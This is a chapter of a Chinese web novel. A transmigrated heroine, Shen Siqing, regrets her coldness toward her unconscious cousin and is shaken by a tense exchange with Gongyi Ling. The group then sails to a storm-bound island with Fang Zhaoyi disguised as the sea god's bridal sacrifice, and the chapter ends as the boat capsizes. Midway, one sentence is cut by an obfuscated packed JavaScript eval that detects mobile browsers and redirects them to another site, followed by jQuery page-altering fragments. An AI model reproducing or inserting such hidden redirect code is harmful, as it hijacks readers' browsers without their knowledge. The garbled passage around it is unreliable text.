“为什么会没有用啊?”
沈司清有些烦躁,她用掉了手中最后一张治疗符,可沈灵玥还躺在床上完全没有要醒来的趋势。
昨晚她把晕倒的沈灵玥抱回屋里后,就连忙跑去挨个敲门把所有人都叫了出来。
她声音慌得都在抖,但这一次她的担心不是对于剧情里的女主,而是对于她深表歉意的表妹。
其他人像是早有预料一样,让沈司清别担心,说灵玥只是为了解咒,灵力消耗过度了。
“你以为呢?”刚进屋就听到沈司清抱怨的檀风吟有些无奈,把扔得满地都是的符纸捡起来收好,“普通降妖师的灵力并不足以画这么多有效符纸。”
“她总担心你灵力消耗过多,身体透支,才会在你画好符纸后又偷偷用灵力给你增强了效果。”
这样沈司清的毫光符就会亮得更久,她的治疗符会让伤口好得更快,她弓上的符咒才会让她的箭能做到给大妖致命一击。
沈司清低着头,她想不明白沈灵玥为什么要对她这么好。说到底从她们第一次见面到现在也不到三个月而已。
沈灵玥和她性格并不搭,兴趣爱好也完全不同。
这一路上如果不是系统给沈司清的任务,她俩不过就是互相客气客气的表面亲戚罢了。
但沈灵玥,她来到这世界后突然多出来的“妹妹”,竟然在背后为她做了这么多事。
她竟然还嫌弃过沈灵玥忍气吞声,屡屡误会她。
沈司清从来都不是一个坦率的人,她讨厌直率地表达自己的感情。
现在她终于发现,自己的不坦率好像真的伤害到沈灵玥了。不仅一直伤她的心,这次还让她因为自己昏迷了过去。
她真是个笨蛋,她真是个失职的姐姐。
明明她曾经最讨厌被姐姐无视了。
“还真是个傻子。”沈司清语气冷冷的,抓着符纸的手在逐渐用力。
其他人一定觉得她冷血无情吧。
檀风吟和沈灵玥青梅竹马,关系如此之好,他应该会为了沈灵玥大声训斥她一顿吧。
毕竟她在知道沈灵玥为之做了这么多事之后不仅不觉得感激反而还骂人傻。
但檀风吟拍了拍沈司清的肩膀。
他放下了往日里严厉的态度,安慰道:“别太担心了。今晚你们安心上岛除妖,我和乔姑娘钱姑娘会守着灵玥,等她休息好醒过来我们立刻通知你。”
檀风吟语气里没有任何责怪的意味。
就像是看透了沈司清心口不一一样。
*
沈司清一个人站在码头边,看着海对面不远处的小丹棠岛。
如果檀风吟不说最后那句话,她可能还能忍住。
她不明白为什么在这个世界里,她身边的人都能看透她掩藏在层层盔甲下的内心。
这种被人宽容着,被人真正关心着的感受,她从未体验过。
接踵而来的就是对这些关心的不习惯和无措。
她的第一反应甚至是想逃。
于是她一句话没说就自己跑到码头边来了。
小丹棠岛被大片的乌云围绕,风暴就如同纱帘一般,整座岛的轮廓都变得模糊了。
“哎。”
沈司清的眼泪被海风吹干了,情绪也稍微好了一下,但心里有些堵得慌。
这周目似乎比第一周目还要不顺利。
何礼突然死了,沈灵玥为了帮她解除身上的咒印也病倒了。
还有那个讨人厌的曹苒。虽然对沈司清来说也算是出了口恶气,但是他的死状却让她莫名有些在意。
今晚就要上岛降妖,也不知道到时候沈灵玥好转没有。
她想要,第一时间给沈灵玥说声对不起。
“清清!”
一道轻快的呼喊声从沈司清背后响起。
她胡乱地抹掉脸上的泪痕,清了清嗓子,转过身跟公仪翎打了声招呼。
“心情不好?”
公仪翎似乎没有发现她刚哭过,但还是看出了她情绪有些不对劲。
不知道为什么,沈司清在面对公仪翎的时候,就是情不自禁地想要吐露自己的心声。
毕竟公仪翎一直都是个好听众。
“公仪公子,你觉不觉得我有时候挺讨厌的?”
“谁说的?”公仪翎不解地问道。
“没人这么说。”
“只是我在想,我对灵玥是不是太差劲了些。”沈司清抱着膝盖蹲了下来。
“还有何礼,之前我也老是使唤他做这做那儿的。”
或许是来到这里的时间久了,沈司清逐渐明白这并不是她所最开始所以为的游戏世界,她每日所接触的也不是什么游戏角色而是活生生的人。
沈司清将头埋进膝盖,闷声闷气地说:“算了,大概是因为何礼和曹苒死得太突然我有些没反应过来吧。”
“你在因为他们难过?”
“只是有一些在意而已。你不觉得曹苒他们死得太蹊跷了没?”
“可是曹苒在降妖司的时候就整日找你麻烦,”公仪翎抓着沈司清的肩膀,让她把头抬了起来,“为什么还要这么在意他?”
“我不是在意这个。我只是觉得曹苒好歹也是个降妖师,竟然就这样不明不白地死了。你觉得,真的是村庄口中的海神做的吗?”
沈司清没明白公仪翎是什么意思,她抬头就看到公仪翎一直以来的温柔笑容僵在了脸上。
"你,喜欢他?"
“还是喜欢何礼?还是说你都喜欢?”
“为什么还要在意这些对你不好的人?”
公仪翎的声音带着他自己都没注意到的冰冷,把沈司清惊地瞪大眼睛抬起头:“你疯了吗?”
公仪翎到底在说什么啊?
不说曹苒。何礼哪里对她不好了?
“你要是再这样,我们就没有谈下去的必要了。”
她想要推开公仪翎。但那个平日里看似风一吹就倒的菟丝花此时却如同一座大山一般难以撼动,紧抓着她的肩膀,逼她和自己对上视线。
沈司清心里慌乱极了。
公仪翎是美杜莎变的吗?
为什么她和他对视之后就像变成石头了一样,连抬起手指的力气都没有?
她现在都不知道她和公仪翎的脸到底谁更僵,就连眼皮也突然开始无法眨动。
为什么会突然好不适?
沈司清觉得四周的氧气变得稀薄,让她难以呼吸。
他在生气?
他到底是为什么要用这种语气跟她说话啊?
公仪翎会发火吗?
好像从来没有过吧。
“喂!”就在沈司清的脸已经僵硬得快要抽筋的时候,方昭屹找到了他们,
“村长找我们去商量上岛的事。”
说完之后他就看见了公仪翎紧抓着沈司清肩膀的手,语气明显有些疑惑和不爽:“你俩在这儿干什么呢?”
公仪翎这才放开了沈司清,无视皱着眉头还在看他的好友,一言不发地转身离去。
沈司清本被公仪翎的出现而打断的眼泪此刻又落了下来。
她分明看到,公仪翎听到自己的回答后,眼里闪过了有那么一瞬的厌恶。
他是在讨厌她,还是讨厌她的回应?
可明明是公仪翎说了奇怪还不中听的话,为什么却搞得像她做错了事一样?
难不成,她就真如上辈子她姐姐所说的那样,擅长搞砸一切关系,擅长把自己变成个讨人厌的人吗?
和这群人同行久了,沈司清对他们也有个大致的评价。
大部分人都像是弹簧。以多少力度相对,弹簧就会以相对的力度相还。
就拿方昭屹那个拒人于千里之外的人来说。沈司清一开始根本不知道要如何跟他相处,但如果拿出一点真诚对他,那他也会慢慢展现出柔软的一面。队伍里的其他人也是同理。
但公仪翎不同。
看似好亲近的他,实际上是最不好相处的人。
就像是没有任何棱角的柔软之物,似乎无论如何对待他,他都只会淡淡地回应。
没有回弹,没有激烈的情绪。
似乎天生不会憎恶,也不会爱人。
大概这也是为什么之前沈司清和他待在一起的时候会觉得没有压力。
她以为她不需要那么多情绪。
*
村长之前因为觉得海神就是齐海瑶,所以不愿同意沈司清他们去岛上。
在封樾的百般劝说以及齐海兰的祈求之下,村长终于相信人是不可能成妖,甚至成神的,这才下定决心决定带领村民们帮助他们。
一般的船只上不了岛,但是载着“祭品”的船却可以。
除妖的事讲究一个速战速决,他们只有一个下午的时间去准备花轿、彩礼、送亲的行头。
然后就只需要等到晚上后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191786|197083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,和这次作为“祭品”的方昭屹一起上岛就好了。
沈司清为了准备上岛之事一下午忙得脚不沾地。
但最让她难受的是,她和公仪翎之间的氛围变得尴尬。
他们甚至都算不上有过争吵。
但她就是突然做不到主动找公仪翎开口说话了。
沈司清一开始只觉得公仪翎莫名其妙,拉不下脸来去找他。
到了吃饭时间每次都要和公仪翎坐在一块的她,这次却和乔燕、钱殊挤在了一块。
但她的眼睛还是不由自主地瞟向公仪翎。
她看见公仪翎面不改色的吃着饭,完全没有受到影响的样子。
沈司清更生气了,甚至没忍住跟餐具置了气。
她把筷子“啪”的一声拍在了桌子上,留下句“我吃饱了”便走掉了。
或许从现在开始疏远公仪翎是一个好主意,这样她更能安心进行攻略任务,完成任务后她就可以永远离开这个有着妖魔鬼怪的世界再也不会回来。
她才不需要什么朋友。之前的十八年里她从来没有过朋友,今后也不会需要。
*
忙活了一通之后,夜晚很快就到了。
方昭屹恶狠狠地扯下盖在头上的红盖头,一身喜服被他弄得皱皱巴巴的,咬牙切齿道:“我不是扮新郎吗,怎么要穿新娘子的衣服?”
他环视了一圈,发现根本没人在意他现在有多么不爽,反而全都眼神回避着他,捂着下半张脸偷笑。
只有沈司清努力控制住了自己的表情,声音带着一丝憋笑后的颤抖:“不要怕,我们几个都会陪着你上岛的。”
方昭屹翻了个白眼,抛下了一句“真不想理你。”
「方昭屹攻略进度下降2%」
这下轮到沈司清笑不出来了。
谁能想到攻略进度还带下降的啊?
扮演“海神”祭品的人选,是几人抽签决定的。方昭屹即使再不满也只能自认倒霉,穿上了喜服,扮成新郎。
而村长对此的解释是,村里已经没有多的喜服了,每家每户翻箱倒柜才找出来两家新娘子的衣服。
“恩人大义。渔船、花轿、彩礼,这些都不要恩人们操心,我们早早就全都备好了。”村长给方昭屹重新调整好盖头和喜服,生怕几位远道而来的降妖师会反悔,“就只等恩人上岛了。”
“轿子里还放有一套备用的嫁衣,用油布包好了的。万一大师在路上沾染上雨水,可以有个替换的。”
村长做着最后的叮嘱,把几人送到了码头。
丹棠村说白了就是个小渔村,村子里来了降妖师的事早就传开了。
原本已经好几年风暴期都不见一人的码头,如今却站满了村民。
村民们为降妖师们送行,祈祷他们能成功解决这场祸事,更祈祷他们能平安归来。
从码头看过去,小丹棠岛被浓雾给包裹着,天上时不时闪着雷电,仿佛在阻止所有人靠近这处传说中海神的居所。
花轿早早被固定在了渔船上,沈司清和封樾两人一前一后照顾着方昭屹进到小花轿里后,便去到船头和公仪翎一起坐着。
“宋姑娘,”封樾则去到了船尾,呆在负责划船的宋听雪身边,“可以出发了。”
原本因为方昭屹扮新郎这事嘻嘻哈哈的这群人,随着越来越靠近小丹棠岛,而表情变得凝重。
海风带着一丝腥甜,不知是海水还是雨水的水滴时不时打在轿子外的几人脸上,弄得人睁不开眼。
船随着风浪大幅度摇晃着,坐在船头的三人手紧紧抓着船沿,眉头紧皱。
沈司清被颠得屁股悬空,又狠狠掉下去,疼得她差点松了手。一只手在这时伸了过来,盖在她手上,用力按着又让她重新抓住了船沿。
她努力睁开眼睛,看向手的主人。
但公仪翎没有看她,若不是头发已经被弄湿,他神色泰然自若得根本不像是坐在海浪中的渔船里一般。
五个时辰了。
他们两人已经五个时辰没说话了。
这人刚刚明明帮了她,看上去也不介意和她接触,可为什么还在和她闹别扭。
沈司清鼻头酸酸的,眼眶也红了一圈。
她的心情就跟被海风吹乱的头发一样,更加烦躁了。
“就快到了!”封樾努力稳住自己的身子,以免因为颠簸而飞出船外,“一会儿我先下船固定啊——”
船翻了。